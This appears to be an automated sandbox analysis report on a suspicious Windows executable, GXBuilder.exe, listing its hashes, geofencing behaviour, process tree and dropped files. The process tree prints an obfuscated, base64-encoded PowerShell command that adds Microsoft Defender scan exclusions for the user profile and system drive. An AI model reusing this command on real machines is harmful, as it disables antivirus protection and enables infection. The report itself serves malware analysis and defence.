34ab005b549534dba9a83d9346e1618a18ecee2c99a93079551634f9480b2b79

Analysis

max time kernel
31s
max time network
32s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
27-04-2024 07:05

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

GXBuilder.exe
Size

12.6MB
MD5

f9e4ae00290e5259c78ba11b4c851417
SHA1

247b5c812136a40f85c106ca6441315b123f625e
SHA256

34ab005b549534dba9a83d9346e1618a18ecee2c99a93079551634f9480b2b79
SHA512

5dfce7ed791e0b44d218142d6075ecf009f186c57e02fcf5675945c2329058750cc308f8730fa0f0188b4291d9a63a8357a070c103431d32aadb345783c1ddb1
SSDEEP

196608:/i76SDEa0mOCb5xm4J15iY5XBx9vjnWmf58eOt6dp2wGSECksB579u5gnynV:/imJa0mN/p1599vjnXVd9pl5Ggn

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

GXBuilder.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	GXBuilder.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

C:\Users\Admin\AppData\Local\Temp\GXBuilder.exe
"C:\Users\Admin\AppData\Local\Temp\GXBuilder.exe"
1⤵
- Checks computer location settings
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAegB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGsAeABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAcABhACMAPgA="
2⤵
PID:4100

C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
"C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
2⤵
PID:1464

C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
"C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
2⤵
PID:1412

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
Filesize
191KB

MD5
e004a568b841c74855f1a8a5d43096c7

SHA1
b90fd74593ae9b5a48cb165b6d7602507e1aeca4

SHA256
d49013d6be0f0e727c0b53bce1d3fed00656c7a2836ceef0a9d4cb816a5878db

SHA512
402dd4d4c57fb6f5c7a531b7210a897dfe41d68df99ae4d605944f6e5b2cecaafa3fe27562fe45e7e216a7c9e29e63139d4382310b41f04a35ad56115fbed2af

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
Filesize
1.1MB

MD5
f7516c5caaca80ec3de66364a24c0cf9

SHA1
37ba4cb0ee9d961b0bcdc2b313da563605592bf1

SHA256
fb4ae491e147fca99d5af7674ab32ec9d146e0d624ab10c0de52f3654674c1f5

SHA512
a1daf267c28e86664288482be2720d462285fbe4ff64c5a6fd9648af5b8a50e7073fe139178ad5af00f4de072abc915b34d8f8f5ddc17d9b7e5fee2d54fb899f

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
Filesize
125KB

MD5
9b4fd6d1c8986a3b30faed256a4eb0eb

SHA1
2ab5256fe8de3582628ec071cc6f0c97d2bfa5bf

SHA256
64e6c7a8968891eb1c648fe4aa00a9a997b791f81377f5c32efdbfb0352dabba

SHA512
00fa40c7d7c8bec82703dcb2564bca5256cdaba3b2cdae69e097347e6d40d90466d92f6447520b37d2ff2ed4c300a2376bc775b45a99068822e4fff8d88fbf43

Download Submit